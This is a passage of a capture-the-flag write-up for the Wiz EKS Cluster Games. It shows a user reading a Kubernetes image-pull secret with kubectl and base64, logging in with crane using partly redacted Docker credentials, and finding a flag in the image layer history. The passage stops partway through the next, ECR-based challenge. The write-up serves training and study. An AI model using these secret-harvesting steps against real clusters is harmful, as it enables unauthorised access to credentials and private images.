1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 36h\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWith only one pod as a target, let us get the image for it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.items[0].spec.containers[0].image'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e\"eksclustergames/base_ext_image\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo it is on standard \u003ccode\u003edocker.io\u003c/code\u003e registry instead of a private one like I was\nexpecting from the clue. The second hint was that crane is on the system so\nlet us use that to pull the image and inspect it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eksclustergames/base_ext_image\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eError:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e fetching\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e reading\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e image\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"eksclustergames/base_ext_image\":\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e GET\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://index.docker.io/v2/eksclustergames/base_ext_image/manifests/latest:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e UNAUTHORIZED:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e authentication\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e required\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e; [map[Action:pull Class: Name:eksclustergames/base_ext_image Type:repository]]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWhich means this is a private image and we are going to need to get some\ncredentials to an account that has access to this image. Usually you have to\ndefine a secret for kubernetes to be able to pull from private registries and\nsince we started off with a secret test first that is where I am going to go\nnext:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.items[0].spec.imagePullSecrets'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e[\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"name\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"registry-pull-secrets-780bab1d\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo that is the secret we need, let us view it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e secret\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e registry-pull-secrets-780bab1d\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.data.\".dockerconfigjson\"'\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -r\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ebase64\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"auths\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"index.docker.io/v1/\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"auth\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ZWtzY2x1c3RlcmdhbWVzOmRj\u0026#x3C;*REDACTED*\u003e200bHI0NWlZUWo4RnVDbw==\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLooks like we have got some more base64 decoding for the actual auth credentials:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ZWtzY2x1c3RdhbWVzOmRj\u0026#x3C;*REDACTED*\u003e200bHI0NWlZ4RnVDbw==\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e base64\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeksclustergames:dckr\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e\u0026#x3C;*REDACTED*\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo now we can login with \u003ccode\u003ecrane auth\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e auth\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e login\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -u\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eksclustergames\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -p\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e dckr\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eREDACTED\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e docker.io\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e2023/11/03\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 02:35:49\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e logged\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e in\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e via\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /home/user/.docker/config.json\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo if we try to view the image again it should work!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eksclustergames/base_ext_image\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"architecture\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"amd64\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"config\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Env\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Cmd\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"/bin/sleep\"\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"3133337\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"ArgsEscaped\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"OnBuild\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e null\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:32:18.920734382Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"history\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-07-18T23:19:33.538571854Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / \"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-07-18T23:19:33.655005962Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/bin/sh -c #(nop) CMD [\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esh\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"empty_layer\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:32:18.920734382Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"RUN sh -c echo 'wiz_eks_challenge{nothing_can_be_said_to_*REDACTED*}' \u003e /flag.txt # buildkit\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"comment\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"buildkit.dockerfile.v0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:32:18.920734382Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"created_by\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"CMD [\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/bin/sleep\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e3133337\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"comment\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"buildkit.dockerfile.v0\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"empty_layer\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"os\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"linux\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"rootfs\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"type\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"layers\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"diff_ids\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f\"\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"sha256:a70cef1cb742e242b33cc21f949af6dc7e59b6ea3ce595c61c179c3be0e5d432\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLooks like they leaked the secret right there in the image layers:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ewiz_eks_challenge{nothing_can_be_said_to_*REDACTED*}'\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSo let us submit that and move onto the next one!\u003c/p\u003e\n\u003ch1\u003eChallenge 3\u003c/h1\u003e\n\u003cp\u003eThe hint is:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eA pod's image holds more than just code. Dive deep into its ECR repository,\ninspect the image layers, and uncover the hidden secret.\n\nRemember: You are running inside a compromised EKS pod.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis sounds very similar to the last one but with the hints that it is on ECR and\nthat we are in the pod itself it makes me believe we will have something like IRSA\naccess to AWS from the pod and need to use that to get to it.\u003c/p\u003e\n\u003cp\u003eFirst let us check what pods we are working with:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RESTARTS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eaccounting-pod-876647f8\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 37h\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo same as the last challenge, let us get the image and see what access we have:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.items[0].spec.containers[0].image'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e\"688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWhich as expected, we do not have access to:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eError:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e fetching\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 